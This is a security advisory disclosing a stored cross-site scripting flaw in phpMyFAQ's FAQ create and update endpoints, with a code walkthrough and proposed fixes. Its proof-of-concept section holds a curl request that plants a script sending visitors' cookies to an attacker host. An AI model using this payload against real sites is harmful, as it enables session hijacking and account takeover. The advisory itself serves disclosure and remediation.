GHSA-f5p7-2c9q-8896

## Summary

The FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser.

## Details

**Vulnerable code path (FAQ create — `FaqController.php`):**

At line 120, the answer content is filtered: ```php $content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS); ```

`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `&lt;script&gt;`. The regex `/\x00|<[^>]*>?/` then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization: ```php ->setAnswer(Filter::removeAttributes(html_entity_decode( (string) $content, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ```

`html_entity_decode()` converts `&lt;script&gt;` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

**Rendering sink (`faq.twig`):**

```twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> <article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article> ```

The `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser.

Additional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.

## PoC

**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.

**Step 1: Create a malicious FAQ** ```bash curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=<admin_session>' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "Harmless FAQ Title", "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>", "categories[]": 1, "lang": "en", "tags": "", "active": "yes", "sticky": "no", "keywords": "test", "author": "Admin", "email": "admin@example.com", "comment": "n", "changed": "Initial", "notes": "", "serpTitle": "Harmless FAQ", "serpDescription": "Test", "openQuestionId": 0, "notifyEmail": "", "notifyUser": "", "recordDateHandling": "updateDate" } }' ```

**Expected response:** `200 OK` with the new FAQ ID.

**Step 2: Verify XSS execution**

Navigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server.

## Impact

- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover. - **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites. - **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack. - **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.

## Recommended Fix

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.

**Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`):

```php public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html); $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html); }

// Also sanitize javascript: URIs in href/src attributes $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);

$keep = [ 'href', 'src', 'title', 'alt', 'class', 'style', 'id', 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width', 'height', 'controls', ]; // ... rest of existing attribute removal logic ```

**Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

```php use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object') ->blockElement('embed');

$sanitizer = new HtmlSanitizer($config); $cleanAnswer = $sanitizer->sanitize($rawAnswer); ```